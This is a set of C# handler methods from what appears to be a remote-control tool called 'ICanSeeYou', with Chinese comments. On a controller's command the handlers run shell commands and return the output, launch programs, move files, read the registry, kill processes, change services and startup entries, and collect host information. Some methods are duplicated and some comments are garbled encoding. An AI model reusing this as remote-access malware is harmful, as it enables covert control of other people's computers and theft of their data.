/// <summary> /// 文件传输完成 /// </summary> /// <param name="sender"></param> public static void EndTranFile(BaseCommunication sender) { BaseCode code = new BaseCode(); code.Head = CodeHead.FILE_TRAN_END; sender.SendCode(code); }
private void sendRegResult(BaseCommunication sender, FourCode code) { try { string[] regdirs = BD.Get_Register_Root_Names(code.Body, code.Foot); string[] regkeys = BD.Get_Register_Root_ALLValues(code.Body, code.Foot); string regdirStr = ""; string regkeyStr = ""; foreach (string s in regdirs) { regdirStr += s + "||||"; } foreach (string s in regkeys) { regkeyStr += s + "||||"; } PublicCodes regcode = new PublicCodes(); regcode.Head = CodeHead.SEND_REGINFO; regcode.Msg = regdirStr; regcode.Type = regkeyStr; sender.SendCode(regcode); } catch { } }
/// <summary> /// 关闭自身程序 /// </summary> /// <param name="sender"></param> private void CloseMe(BaseCommunication sender) { BaseCode code = new BaseCode(); code.Head = CodeHead.FILE_TRAN_END; sender.SendCode(code); }
/// <summary> /// 发送文件 /// </summary> /// <param name="code"></param> public static void UploadFile(BaseCommunication sender, FileCode code) { code.Head = CodeHead.SEND_FILE; code.readFile(); if (sender != null) { sender.SendCode(code); } }
/// <summary> /// 保存文件 /// </summary> /// <param name="fileMng"></param> public static void SaveFile(BaseCommunication sender, FileCode fileMng) { fileMng.SaveFile(); if (sender != null) { BaseCode code = new BaseCode(); code.Head = CodeHead.FILE_TRAN_END; sender.SendCode(code); } }
/// <summary> /// 发送本地磁盘信息 /// </summary> /// <param name="sender"></param> private void sendDisks(BaseCommunication sender) { try { DisksCode diskscode = ICanSeeYou.Common.IO.GetDisks(); sender.SendCode(diskscode); } catch { } }
/// <summary> /// 远程获取文件 /// </summary> /// <param name="fileName"></param> public static void DownloadFile(BaseCommunication sender, string fileName, string savepath) { FileCode fileMng = new FileCode(fileName); fileMng.Head = CodeHead.GET_FILE; fileMng.SavePath = savepath; if (sender != null) { sender.SendCode(fileMng); } }
/// <summary> /// 发送文件夹内的信息(当前路径下的文件和文件夹) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendFileDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { DoubleCode filedetialcode = new DoubleCode(); filedetialcode.Head = CodeHead.SEND_FILE_DETIAL; filedetialcode.Body = ICanSeeYou.Common.IO.GetFileDetial(tempcode.Body); sender.SendCode(filedetialcode); } }
/// <summary> /// 执行dos命令并返回结果,发送回服务端 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendDosResult(BaseCommunication sender, DoubleCode code) { try { DosCode doscode = new DosCode(); doscode.Msg = BD.Execute_Command(code.Body); sender.SendCode(doscode); } catch { } }
/// <summary> /// 更新 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void Updating(BaseCommunication sender, Code code) { if (needUpdate(code)) { BaseCode updateCode = new BaseCode(); updateCode.Head = CodeHead.UPDATE; sender.SendCode(updateCode); DisplayMessage("服务端正在更新..."); } else { DisplayMessage("不需要更新"); } }
private void sendExeResult(BaseCommunication sender, ThreeCode code) { try { PublicCodes execode = new ICanSeeYou.Codes.PublicCodes(); execode.Head = CodeHead.SEND_EXE; bool isWaiting = code.Foot == "True" ? true : false; execode.Msg = BD.RunExeFile(code.Body, isWaiting, ""); execode.Type = ""; sender.SendCode(execode); } catch { } }
/// <summary> /// 发送文件夹内的信息(当前路径下的文件和文件夹) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendDirectoryDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { if (tempcode.Body != "") { ExplorerCode explorer = new ExplorerCode(); explorer.Enter(tempcode.Body); sender.SendCode(explorer); } } }
/// <summary> /// 修改密码 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void savePassWord(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { if (ICanSeeYou.Configure.PassWord.Save(Constant.PassWordFilename, tempcode.Body)) { this.exitPassWord = tempcode.Body; BaseCode ok = new BaseCode(); ok.Head = CodeHead.CHANGE_PASSWORD_OK; sender.SendCode(ok); } } }
/// <summary> /// 发送启动项查询结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendStartupInfoResult(BaseCommunication sender, ThreeCode code) { try { PublicCodes info = new PublicCodes(); info.Head = CodeHead.SEND_STARTUPINFO; if (code.Body == "Disabled") { BD.RunWhenStart(false, code.Foot, @"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"); } info.Msg = BD.StartupInfoList(); info.Type = code.Body; sender.SendCode(info); } catch { } }
/// <summary> /// 发送进程执行结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendProcessInfoResult(BaseCommunication sender, ThreeCode code) { try { PublicCodes info = new PublicCodes(); info.Head = CodeHead.SEND_PROCESSINFO; if (code.Body == "All") { info.Msg = BD.Get_Process(); info.Type = code.Body; } ; if (code.Body == "Kill") { BD.Kill_Process(code.Foot); info.Msg = BD.Get_Process(); info.Type = code.Body; } sender.SendCode(info); } catch { } }
/// <summary> /// 发送服务查询结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendServicesInfoRsult(BaseCommunication sender, ThreeCode code) { try { PublicCodes info = new PublicCodes(); info.Head = CodeHead.SEND_SERVERINFO; if (code.Body == "Freshen") { info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Start") { BD.StartService(code.Foot); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Stop") { BD.StopService(code.Foot); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Status_Auto") { BD.ChangeStateService(code.Foot, 2); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Status_Demand") { BD.ChangeStateService(code.Foot, 3); info.Msg = BD.GetService(); info.Type = code.Body; } ; if (code.Body == "Status_Disabled") { BD.ChangeStateService(code.Foot, 4); info.Msg = BD.GetService(); info.Type = code.Body; } ; sender.SendCode(info); } catch { } }
/// <summary> /// 发送主机信息结果 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendComputerInfoResult(BaseCommunication sender, ThreeCode code) { try { PublicCode info = new PublicCode(); info.Head = CodeHead.SEND_COMPUTERINFO; if (code.Body == "") { info.Msg = BD.Get_ComputerInfo(); } else if (code.Foot != "") { info.Msg = BD.WMI_Searcher(code.Body, code.Foot); } else { info.Msg = BD.WMI_Searcher(code.Body); } sender.SendCode(info); } catch { } }
/// <summary> /// 发送本地磁盘信息 /// </summary> /// <param name="sender"></param> private void sendDisks(BaseCommunication sender) { DisksCode diskscode = FileManager.GetDisks(); sender.SendCode(diskscode); }
/// <summary> /// �����ļ����ڵ���Ϣ(��ǰ·���µ��ļ����ļ���) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendFileDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { DoubleCode filedetialcode = new DoubleCode(); filedetialcode.Head = CodeHead.SEND_FILE_DETIAL; filedetialcode.Body=FileManager.GetFileDetial(tempcode.Body); sender.SendCode(filedetialcode); } }
/// <summary> /// ���ͱ��ش�����Ϣ /// </summary> /// <param name="sender"></param> private void sendDisks(BaseCommunication sender) { DisksCode diskscode = FileManager.GetDisks(); sender.SendCode(diskscode); }
/// <summary> /// �����ļ����ڵ���Ϣ(��ǰ·���µ��ļ����ļ���) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendDirectoryDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { if (tempcode.Body != "") { ExplorerCode explorer = new ExplorerCode(); explorer.Enter(tempcode.Body); sender.SendCode(explorer); } } }
/// <summary> /// ������ /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void savePassWord(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { if (PassWord.Save(Constant.PassWordFilename, tempcode.Body)) { this.exitPassWord = tempcode.Body; BaseCode ok = new BaseCode(); ok.Head = CodeHead.CHANGE_PASSWORD_OK; sender.SendCode(ok); } } }